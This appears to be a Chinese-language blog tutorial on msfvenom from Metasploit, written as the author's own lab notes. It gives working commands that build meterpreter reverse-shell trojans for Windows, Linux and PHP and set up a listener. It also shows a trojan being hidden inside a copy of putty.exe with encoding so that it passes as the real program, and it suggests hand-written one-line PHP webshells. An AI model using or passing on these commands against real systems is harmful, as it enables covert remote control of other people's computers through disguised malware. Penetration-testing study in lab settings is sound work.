msfvenom的使用
msfvenom也只metasploit中的一个很强的工具,msfvenom生成木马非常的迅速可以各种版本的木马
该工具由msfpaylod
和msfencodes
的组成
生成木马是需要在本地监听,等待木马上线即可。该步骤在meterpretr的使用有使用到
命令
这里我们主要讲解msfvenom
的命令
命令 | 参数 |
---|---|
-l | 列出指定模块中payload的数量,payload.nops.all...... |
-p | 指定使用的payload |
-f | 指定输出文件的格式,例如 exe、elf |
-e | 指定编码类型 |
-i | 编码次数 |
-a | 指定目标结构,例如x86、x64 |
-o | 导出木马的位置 |
-b | 木马中不能出现的字符 |
-x | 将payload加入到的文件 |
-k | 将payload加入到原文件的复制中 |
查找模块
msfvenom -l platforms
查看支持的平台
参数很长,可能记不清楚,那么我们只需要输入一个错误的模块,msfvenom会提示我们可以查看那些
可以看到我们可以查询的模块
例如我们想要查找一个windows
带有meterpreter
控制台的,我们可以执行
msfvenom -l payloads|grep windows|grep meterpreter
这里已经找到了相关的模块
msfvenom -l encoders
,查看可用的编码模块
生成一个windows
木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.1.1 LPORT=1234 -f exe -o /root/shell.exe
生成一个linux
木马
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=172.16.1.1 LPORT=1234 -f elf -o /root/shell.elf
将我们的木马加入到exe
文件
这里由常用的远程连接工具putty
为例
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.1.1 LPORT=1234 -x putty.exe -k -a x86 -e x86/shikata_ga_nai -i 2 -f exe -o super_putty.exe
注意:-a
指定结构,x
指定文件,-e
指定编码方式,-i
指定编码次数
这里编码并没有成功导出文件,报错了,提示我们溢出,正常情况下是可以成功的
后续我换了一个putty
的版本成功了
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.1.102 LPORT=1234 -x putty.exe -k -e ruby/base64 -i 1 -f exe -o S_putty.exe
于上次不同这次使用的是ruby/base64
加密
将木马共享到windows电脑上指定putty,
在本机设置监听,在windows电脑上执行我们的木马,查看是否可以反弹shell
use exploit/multi\handler
set payload windows/meterpreter/reverse_tcp
set LHOST 172.16.1.102
set LPORT 1234
run
这里我并没有反弹成功,在靶机执行程序崩溃了,出了些问题,但是我们的命令没有出问题,可以再换一个程序试一试
之前测试是可以成功的
php反弹
查找php
payload
msfvenom -p php/meterpreter/reverse_tcp LHOST=172.16.1.102 LPORT=1234 -f raw > shell.php
这里反弹shell我是成功了,但是使用shell
连接执行命令的时候总是断开,可能不支持吧,这里还是建议手写的一句话木马
在linux中我尝试的时候,无法反弹shell